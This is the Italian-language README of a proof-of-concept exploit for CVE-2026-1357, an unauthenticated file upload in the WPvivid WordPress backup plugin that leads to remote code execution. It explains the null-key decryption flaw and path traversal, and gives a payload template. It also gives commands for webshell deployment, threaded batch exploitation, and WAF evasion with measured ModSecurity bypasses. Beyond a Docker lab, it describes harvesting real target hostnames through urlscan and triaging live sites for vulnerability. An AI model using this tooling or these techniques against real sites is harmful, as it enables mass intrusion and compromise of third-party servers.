
Proof-of-concept exploit per CVE-2026-1357, un upload arbitrario di file non autenticato in WPvivid Backup & Migration che porta all'esecuzione remota di codice. Include uno script Python autonomo, tecniche di evasione WAF e un laboratorio vulnerabile containerizzato con Docker per autorizzare
PoC per CVE-2026-1357 (CVSS 9.8 Critico, CWE-434): un upload arbitrario di file non autenticato nel plugin WPvivid Backup & Migration per WordPress che porta all'esecuzione remota di codice. Corretto nella versione 0.9.124 (changeset 3448386). Segnalato da Lucas Montes tramite il programma Bug Bounty di Wordfence.
███████╗ █████╗ ██╗ ██╗ ███╗ ███╗ ███████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗ ██║
╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝ ██║
███████║ ██║ ██║ ██║ ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═════╝
Questa proof of concept è fornita esclusivamente per ricerca sulla sicurezza autorizzata, formazione e test difensivi.
L'handler non autenticato send_to_site
(includes/customclass/class-wpvivid-send-to-site.php) decripta un blob fornito dall'attaccante e scrive il contenuto di $params['data'] in
wp-content/wpvividbackups/<nome controllato dall'attaccante> — senza autenticazione, senza nonce e senza sanificazione del percorso su name.
La protezione prevista è RSA: il messaggio deve essere crittografato con una chiave di sessione casuale, che a sua volta è crittografata con RSA utilizzando la chiave del sito. Il difetto è in WPvivid_crypt::decrypt_message (includes/class-wpvivid-crypt.php):
$key = $rsa->decrypt($key); // restituisce FALSE in caso di errore (blob chiave non valido)
$rij = new Crypt_Rijndael();
$rij->setKey($key); // FALSE viene trattato come una chiave di byte nulli
return $rij->decrypt($data);
Il metodo Crypt_RSA::decrypt() di phpseclib restituisce false quando il blob della chiave fornito non può essere decriptato (ad es. openssl_private_decrypt() fallisce), e il plugin non interrompe l'esecuzione. false viene quindi passato a Crypt_Rijndael::setKey(), dove strlen(false) → 0 → la chiave viene riempita con 16 byte nulli (AES-128, modalità CBC, IV nullo). Un attaccante quindi "crittografa" il payload con una chiave nulla completamente prevedibile — non è richiesta alcuna conoscenza della chiave reale del sito.
Il payload è JSON:
{"backup_id":"poc","name":"../../pocXXXXXXXX.php","offset":0,
"file_size":<len>,"md5":"<md5>","data":"<base64 del PHP>"}
name viene concatenato nel percorso senza sanificazione
(str_replace('wpvivid','wpvivid_temp', $name) riscrive solo la sottostringa "wpvivid"), quindi ../../ esce da wp-content/wpvividbackups/ nella webroot. Quando file_size/md5 corrispondono, il file temporaneo viene rinominato con il nome scelto dall'attaccante → PHP pubblicamente accessibile → RCE.
La correzione (changeset 3448386) interrompe l'esecuzione quando il passaggio RSA fallisce:
if ($key === false || empty($key)) {
return false;
}
Target:
wpvivid_api_token deve esistere e non essere scaduta — viene creata ogni volta che un amministratore clicca su Genera in WPvivid → Impostazioni → Migrazione Automatica (comune sui siti che utilizzano la funzione di migrazione)Attaccante:
script.py è completamente autonomo: solo libreria standard, nessuna importazione locale, nessun file esterno. CLI posizionale semplice:
# singolo target
python script.py https://target.example.com
# comando personalizzato
python script.py https://target.example.com --command "uname -a"
# modalità batch (un URL per riga) -> success.txt / failed.txt
python script.py sites.txt --threads 10
# Evasione WAF: nomi/valori di parametri codificati in percentuale o corpo multipart
python script.py https://target.example.com --encode
python script.py https://target.example.com --multipart
# auto-eliminazione della webshell dopo il test
python script.py https://target.example.com --cleanup
Codici di uscita: 0 vulnerabile, 1 altrimenti.
../lab/ contiene un target vulnerabile dockerizzato (WordPress 6.8 + sorgente WPvivid 0.9.123 da plugins/):
cd ../lab
docker compose up -d
# completa l'installazione di WordPress su http://localhost:8090/
docker compose run --rm wpcli plugin activate wpvivid-backuprestore
docker compose cp ../CVE-2026-1357-poc/setup_token.php wp:/tmp/
docker compose exec wp php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup_token.php";'
cd ../CVE-2026-1357-poc
python script.py http://localhost:8090 --command id
Sorgente verificata funzionante (testata dal vivo, nessun account richiesto):
https://urlscan.io/search/#filename:wpvivid-backuprestore
~74 pagine indicizzate che fanno riferimento allo slug del plugin; clicca e raccogli gli hostname. Ogni URL dei risultati inizia con il percorso del plugin
(/wp-content/plugins/wpvivid-backuprestore/), quindi l'estrazione degli host è facile.Query testate che NON producono target (escluse di proposito):
dork Google/Bing (inurl: restituisce solo le pagine wordpress.org del plugin o un muro anti-bot), DuckDuckGo (idem), Shodan http.html: (HTML troncato indicizzato, zero risultati), Wayback CDX wildcard (vuoto), PublicWWW (scraping ospite bloccato).
Inserisci gli host raccolti nel triage (integrato in script.py come --triage), che controlla per ogni sito:
wp-content/plugins/wpvivid-backuprestore/readme.txt →
Stable tag: 0.9.123 (controllo non autenticato a basso rumore; le stringhe di query ?ver= negli asset nell'HTML sono il fallback)wpvivid_action=send_to_site&wpvivid_content=AAAA:
risposta JSON (The key is invalid.) = wpvivid_api_token esiste;
vuoto = nessun token / plugin inattivo / WAF ha eliminato la sondaSolo i siti che sono <= 0.9.123 e con token attivo vengono scritti in
in-scope.txt, poi:
python script.py sites.txt --triage --threads 10 # → in-scope.txt
python script.py in-scope.txt --threads 5
Tecniche portate da un uploader del 2025 di lunga durata che ha continuato a funzionare nel mondo reale (stesso autore):
X-Requested-With: XMLHttpRequest,
Accept: application/json, */*;q=0.1, Referer same-origin, UA del browserReferer same-origin--threads N) con timeout brevi per richiestasuccess.txt / failed.txt scritti in modalità batch, solo le shell verificate vengono registrate come successo (come il file success dell'originale)--encode / --multipart per l'evasione della forma della richiesta../lab/waf/ aggiunge un proxy inverso owasp/modsecurity-crs:apache davanti al WordPress vulnerabile (WAF su :8092, target grezzo su :8093). Comportamento misurato:
| Passaggio | Risultato attraverso CRS |
|---|---|
| POST di upload (normale) | passa — il blob AES + le intestazioni AJAX non corrispondono a nessuna regola CRS |
POST di upload (--encode) | passa |
POST di upload (--multipart) | passa |
GET di shell ?<p>=id / hostname / ls | passa, il comando viene eseguito |
GET di shell ?<p>=id; hostname; uname -a | 403 — regole di iniezione comandi CRS 932xxx |
| GET normale (marcatore PWN-OK) | passa |
L'upload crittografato è invisibile all'ispezione del contenuto CRS (stessa proprietà di sopravvivenza dell'AJAX dall'aspetto whitelisted dell'uploader del 2025). L'unica superficie CRS è la GET di comando successiva, quindi lo strumento ora usa come default --command id e conferma l'RCE tramite il marcatore PWN-OK su GET normale anche quando la GET di comando viene filtrata dal WAF (segnalato come vulnerabile con una nota). I WAF sull'host che firmano wpvivid_action=send_to_site (ad es. patch virtuale Wordfence) bloccano comunque l'upload stesso a livello di plugin — nessun trucco sulla forma della richiesta supera quelli.